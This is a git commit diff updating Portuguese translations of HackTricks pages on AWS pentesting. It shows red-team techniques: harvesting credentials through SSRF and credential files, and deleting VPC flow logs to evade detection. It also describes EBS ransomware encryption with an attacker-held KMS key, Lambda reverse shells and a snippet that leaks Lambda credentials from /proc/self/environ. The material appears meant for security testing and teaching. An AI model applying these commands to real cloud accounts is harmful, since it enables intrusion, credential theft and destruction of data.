Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains

This commit is contained in:
Translator
2025-01-11 19:16:54 +00:00
parent 090d893057
commit 5f5dfa23e1
44 changed files with 1888 additions and 316 deletions
+21 -21
View File
@@ -6,7 +6,7 @@
**Antes de começar o pentesting** em um **ambiente AWS**, há algumas **coisas básicas que você precisa saber** sobre como a AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
Conceitos como hierarquia organizacional, IAM e outros conceitos básicos são explicados em:
Conceitos como hierarquia de organização, IAM e outros conceitos básicos são explicados em:
{{#ref}}
aws-basic-information/
@@ -29,21 +29,21 @@ Ferramentas para simular ataques:
## Metodologia de Pentester/Red Team da AWS
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos da AWS e os **serviços externos** estão conectados.
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê e como os serviços internos da AWS e os **serviços externos** estão conectados.
Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso:
- **Vazamentos** no github (ou similar) - OSINT
- **Leaks** no github (ou similar) - OSINT
- **Engenharia** Social
- Reutilização de **Senhas** (vazamentos de senhas)
- Vulnerabilidades em Aplicações Hospedadas na AWS
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) com acesso ao endpoint de metadados
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) com acesso ao endpoint de metadados
- **Leitura de Arquivo Local**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- **terceiros** **vazados**
- Funcionário **Interno**
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciais
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credenciais
Ou por **comprometer um serviço não autenticado** exposto:
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> Depois de conseguir obter credenciais, você precisa saber **de quem são essas credenciais**, e **a que elas têm acesso**, então você precisa realizar alguma enumeração básica:
> Depois de conseguir obter credenciais, você precisa saber **de quem são essas credenciais** e **a que elas têm acesso**, então você precisa realizar alguma enumeração básica:
## Enumeração Básica
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
Se você encontrou um SSRF em uma máquina dentro da AWS, verifique esta página para truques:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Whoami
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**.
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar forçando** para descobri-los.\
Verifique **como fazer a numeração e a força bruta** em:
Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\
Verifique **como fazer a numeração e o brute-forcing** em:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -113,15 +113,15 @@ aws-services/aws-iam-enum.md
> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
> Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.**
## Enumeração de Serviços, Pós-Exploração e Persistência
## Enumeração de Serviços, Pós-Exploração & Persistência
A AWS tem uma quantidade impressionante de serviços, na página a seguir você encontrará **informações básicas, cheatsheets de enumeração**, como **evitar detecção**, obter **persistência** e outros truques de **pós-exploração** sobre alguns deles:
A AWS tem uma quantidade impressionante de serviços, na página a seguir você encontrará **informações básicas, enumeração** cheatsheets\*\*,\*\* como **evitar detecção**, obter **persistência** e outros truques de **pós-exploração** sobre alguns deles:
{{#ref}}
aws-services/
{{#endref}}
Note que você **não** precisa realizar todo o trabalho **manualmente**, abaixo neste post você pode encontrar uma **seção sobre** [**ferramentas automáticas**](./#automated-tools).
Note que você **não** precisa realizar todo o trabalho **manualmente**, abaixo neste post você pode encontrar uma **seção sobre** [**ferramentas automáticas**](#automated-tools).
Além disso, nesta fase você pode ter descoberto **mais serviços expostos a usuários não autenticados**, você pode ser capaz de explorá-los:
@@ -145,7 +145,7 @@ Como pentester/red teamer, você deve sempre verificar se pode encontrar **infor
Neste livro, você deve encontrar **informações** sobre como encontrar **serviços AWS expostos e como verificá-los**. Sobre como encontrar **vulnerabilidades em serviços de rede expostos**, eu recomendaria que você **pesquisasse** pelo **serviço** específico em:
{{#ref}}
https://book.hacktricks.xyz/
https://book.hacktricks.wiki/
{{#endref}}
## Comprometendo a Organização
@@ -158,16 +158,16 @@ Quando a conta de gestão cria novas contas na organização, um **novo papel**
Portanto, para acessar como administrador uma conta filha, você precisa:
- **Comprometer** a **conta de gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
- Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts`
- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas descobertas anteriormente**.
- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas previamente descobertas**.
- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se impersonifique, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
## Ferramentas Automatizadas
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, multi-threaded, escrita em Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby.
```bash
# Install
gem install aws_recon
@@ -233,7 +233,7 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS.
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\
Ele mostrará clientes **com privilégios excessivos** potenciais, políticas inline e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
Ele mostrará clientes **sobreprivilegiados** potencialmente, políticas **inline** e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
```bash
# Install
pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e do CloudFront.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** em snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
### Auditoria
@@ -314,7 +314,7 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox ajuda você a obter consciência situacional em ambientes de nuvem desconhecidos. É uma ferramenta de linha de comando de código aberto criada para ajudar testadores de penetração e outros profissionais de segurança ofensiva a encontrar caminhos de ataque exploráveis na infraestrutura de nuvem.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): O CloudFox ajuda você a obter consciência situacional em ambientes de nuvem desconhecidos. É uma ferramenta de linha de comando de código aberto criada para ajudar testadores de penetração e outros profissionais de segurança ofensiva a encontrar caminhos de ataque exploráveis na infraestrutura de nuvem.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -7,7 +7,7 @@
Para informações sobre SAML, consulte:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Para configurar uma **Federação de Identidade através do SAML**, você só precisa fornecer um **nome** e o **XML de metadados** contendo toda a configuração SAML (**endpoints**, **certificado** com chave pública)
@@ -16,8 +16,8 @@ Para configurar uma **Federação de Identidade através do SAML**, você só pr
Para adicionar uma ação do github como provedor de identidade:
1. Para _Tipo de Provedor_, selecione **OpenID Connect**.
2. Para _URL do Provedor_, insira `https://token.actions.githubusercontent.com`
1. Para _Tipo de provedor_, selecione **OpenID Connect**.
2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com`
3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor
4. Para _Público_, insira `sts.amazonaws.com`
5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como:
@@ -45,7 +45,7 @@ Para adicionar uma ação do github como provedor de identidade:
}
```
6. Observe na política anterior como apenas uma **branch** do **repositório** de uma **organização** foi autorizada com um **gatilho** específico.
7. O **ARN** do **papel** que a ação do github poderá **imitar** será o "segredo" que a ação do github precisa saber, então **armazene** dentro de um **segredo** em um **ambiente**.
7. O **ARN** do **papel** que a ação do github poderá **impersonar** será o "segredo" que a ação do github precisa saber, então **armazene**-o dentro de um **segredo** em um **ambiente**.
8. Por fim, use uma ação do github para configurar as credenciais da AWS a serem usadas pelo fluxo de trabalho:
```yaml
name: "test AWS Access"
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - Abuso de EKS
## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
É possível gerar **provedores OIDC** em um cluster **EKS** simplesmente definindo a **URL OIDC** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
```json
{
"Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
Esta política está indicando corretamente que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumí-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como:
```bash
@@ -12,7 +12,7 @@ Para mais informações, consulte:
### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
A duplicação de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
Para mais informações, consulte esta página:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copiar Instância em Execução
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar (ver [truques de escalonamento de privilégios EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). No entanto, outra maneira de verificar o que contém é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (ver [truques de escalonamento de privilégios EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). No entanto, outra maneira de verificar o que contém é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
```shell
# List instances
aws ec2 describe-images
@@ -70,7 +70,7 @@ Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda
#### Exfiltration via API calls
Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
### Open Security Group
@@ -79,13 +79,13 @@ Você pode obter acesso adicional a serviços de rede abrindo portas assim:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc para ECS
### Privesc to ECS
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
Para [**mais informações, verifique isso**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### Remover logs de fluxo do VPC
### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
@@ -95,7 +95,7 @@ Permissões necessárias:
- `ssm:StartSession`
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é pivotar de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é a pivotagem de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
> Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,7 +104,7 @@ Além da execução de comandos, o SSM permite o tunelamento de tráfego, que po
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]`
5. Faça login no EKS como o Bastion EC2:
```shell
@@ -115,15 +115,15 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataques MitM.
Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
### Compartilhar AMI
### Share AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
@@ -239,21 +239,21 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta de 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta de 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes não criptografados originais já não existem.
Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes originais não criptografados já não existem.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
Em seguida, retorne à política de chave na conta de 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
```json
{
"Version": "2012-10-17",
@@ -324,15 +324,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
]
}
```
Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Mas quando você tenta realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original via snapshots, mas quero que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
Este é o script Python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas alertá-lo de que isso é uma prova de conceito de ransomware no final das contas.
```
import boto3
import argparse
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
@@ -13,10 +13,10 @@ Para mais informações, consulte:
### Funções IAM do Host
No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
@@ -14,7 +14,7 @@ Mais informações sobre lambda em:
Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
Eles podem **criar uma nova função Lambda e atribuir a ela um papel IAM existente**, concedendo à função as permissões associadas a esse papel. O usuário pode então **escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo)**.\
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\
Um atacante poderia abusar disso para obter um **rev shell e roubar o token**:
```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Também é possível vazar as credenciais da função do lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isolados em rede** usados em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída do lambda.
Também é possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isoladas em rede** usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Agora é possível **conectar a função Lambda à tabela DynamoDB** criando **um mapeamento de fonte de evento**:
Agora é possível **conectar a função Lambda à tabela DynamoDB** criando um **mapeamento de fonte de evento**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
@@ -146,7 +146,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma função Lambda existente que está vinculada a um papel IAM.**\
O atacante pode **modificar o código da lambda para exfiltrar as credenciais IAM**.
Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando indiretamente a execução do código modificado.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -163,14 +163,14 @@ aws lambda invoke --function-name my_function output.txt
#### RCE via variáveis de ambiente
Com essas permissões, é possível adicionar variáveis de ambiente que farão o Lambda executar código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
```bash
